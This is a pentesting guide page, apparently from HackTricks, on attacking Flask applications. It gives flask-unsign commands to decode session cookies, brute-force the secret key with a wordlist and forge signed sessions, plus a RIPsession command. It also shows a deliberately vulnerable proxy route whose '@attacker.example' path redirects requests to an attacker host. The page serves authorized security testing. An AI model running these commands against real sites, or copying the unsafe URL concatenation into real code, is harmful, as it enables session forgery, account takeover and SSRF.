flask.md (4260B)
1 --- 2 title: "Flask" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/flask.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/flask.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Flask 14 15 Flask applications are often useful targets for [server-side template injection](../../pentesting-web/ssti-server-side-template-injection/index.html) testing, but the framework alone does not imply that an SSTI vulnerability exists. 16 17 ## Cookies 18 19 Flask's default client-side session cookie is named **`session`**. Its contents are serialized and cryptographically signed, but not encrypted: a user can inspect them, while modifying them requires the application's secret key.<sup>[[1]](#references)</sup> 20 21 ### Decoder 22 23 The [Kirsle Flask session decoder](https://www.kirsle.net/wizards/flask-session.cgi) can decode a cookie for inspection.<sup>[[2]](#references)</sup> Do not submit real production cookies to third-party services. 24 25 #### Manual 26 27 For an uncompressed cookie, take the segment before the first dot, add Base64 padding if needed, and decode the URL-safe Base64 value. A leading dot indicates that the payload is compressed, so the simple command below is not sufficient. 28 29 ```bash 30 echo "ImhlbGxvIg" | base64 -d 31 ``` 32 33 Decoding does not verify the signature and does not reveal the secret key. 34 35 ### Flask-Unsign 36 37 `flask-unsign` can decode Flask session cookies and, during an authorized test, try candidate secret keys or sign a modified session when the key is known.<sup>[[3]](#references)</sup> 38 39 ```bash 40 pip3 install flask-unsign 41 ``` 42 43 #### Decode cookie 44 45 ```bash 46 flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' 47 ``` 48 49 #### Brute force 50 51 ```bash 52 flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval 53 ``` 54 55 #### Signing 56 57 ```bash 58 flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' 59 ``` 60 61 #### Signing using legacy (old versions) 62 63 ```bash 64 flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy 65 ``` 66 67 ### RIPsession 68 69 RIPsession automates requests with cookies crafted through `flask-unsign`.<sup>[[4]](#references)</sup> 70 71 ```bash 72 ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt 73 ``` 74 75 ### SQL injection in a Flask session cookie with sqlmap 76 77 [This example](../../pentesting-web/sql-injection/sqlmap/index.html#eval) uses sqlmap's `--eval` option to sign payloads with a known Flask secret. 78 79 ## Unsafe proxy URL concatenation 80 81 Research into HTTP parser inconsistencies showed that unusual request targets beginning with `@` can reach Flask routes. If an application concatenates that attacker-controlled path directly after a URL authority, the result can be interpreted with the text before `@` as user information and the text after it as a new host.<sup>[[5]](#references)</sup> 82 83 ```http 84 GET @/ HTTP/1.1 85 Host: target.com 86 Connection: close 87 ``` 88 89 In the following scenario: 90 91 ```python 92 from flask import Flask 93 from requests import get 94 95 app = Flask('__main__') 96 SITE_NAME = 'https://google.com' 97 98 @app.route('/', defaults={'path': ''}) 99 @app.route('/<path:path>') 100 def proxy(path): 101 return get(f'{SITE_NAME}{path}').content 102 103 app.run(host='0.0.0.0', port=8080) 104 ``` 105 106 With a path such as `@attacker.example`, the constructed URL becomes `https://google.com@attacker.example`. This is an application-level URL-construction flaw, not an inherent Flask SSRF. Parse the destination, enforce an allowlist for scheme and host, and reject ambiguous request targets. 107 108 ## References 109 110 - [1] [Flask documentation - sessions](https://flask.palletsprojects.com/en/stable/quickstart/#sessions) 111 - [2] [Kirsle - Flask session cookie decoder](https://www.kirsle.net/wizards/flask-session.cgi) 112 - [3] [flask-unsign](https://github.com/Paradoxis/Flask-Unsign) 113 - [4] [RIPsession](https://github.com/Tagvi/ripsession) 114 - [5] [Exploiting HTTP parser inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)